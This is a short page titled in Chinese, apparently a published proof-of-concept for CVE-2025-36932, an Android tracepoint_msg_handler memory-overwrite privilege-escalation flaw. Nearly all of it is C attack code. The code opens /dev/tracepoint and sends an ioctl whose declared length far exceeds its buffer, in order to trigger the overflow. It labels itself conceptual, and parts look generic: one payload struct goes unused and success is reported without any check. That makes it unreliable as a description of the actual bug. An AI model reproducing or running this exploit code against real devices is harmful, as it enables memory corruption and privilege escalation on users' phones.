CVE-2025-36932 Android tracepoint_msg_handler内存覆盖权限提升漏洞

// CVE-2025-36932 PoC - Android tracepoint_msg_handler Memory Overwrite // This PoC demonstrates the vulnerability in tracepoint IPC handling // Note: This is a conceptual PoC for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Tracepoint IPC ioctl commands #define TRACEPOINT_IOCTL_BASE 0x54 #define TRACEPOINT_SEND_MSG _IOW(TRACEPOINT_IOCTL_BASE, 0x01, struct tracepoint_msg) struct tracepoint_msg { unsigned int msg_type; unsigned int msg_len; void *msg_data; }; // Malicious message structure to trigger overflow struct malicious_payload { unsigned int msg_type; unsigned int msg_len; // Intentionally large length char *msg_data; // Points to controlled data unsigned long overflow_data[64]; // Data to overflow into adjacent memory }; int trigger_vulnerability(int trace_fd) { struct tracepoint_msg msg; char malicious_buffer[4096]; // Prepare malicious message with oversized length memset(malicious_buffer, 0x41, sizeof(malicious_buffer)); msg.msg_type = 0x01; msg.msg_len = 0x10000; // Excessive length - triggers overflow msg.msg_data = malicious_buffer; // Trigger the vulnerable code path int result = ioctl(trace_fd, TRACEPOINT_SEND_MSG, &msg); return result; } int main(int argc, char *argv[]) { int trace_fd; printf("CVE-2025-36932 PoC - Android tracepoint_msg_handler\n"); printf("Target: Android tracepoint IPC component\n\n"); // Open tracepoint device trace_fd = open("/dev/tracepoint", O_RDWR); if (trace_fd < 0) { printf("[-] Failed to open tracepoint device\n"); return -1; } printf("[*] Triggering vulnerability...\n"); if (trigger_vulnerability(trace_fd) < 0) { printf("[-] Vulnerability trigger failed\n"); } else { printf("[+] Vulnerability triggered successfully\n"); printf("[+] Memory overwrite occurred in tracepoint_msg_handler\n"); } close(trace_fd); return 0; }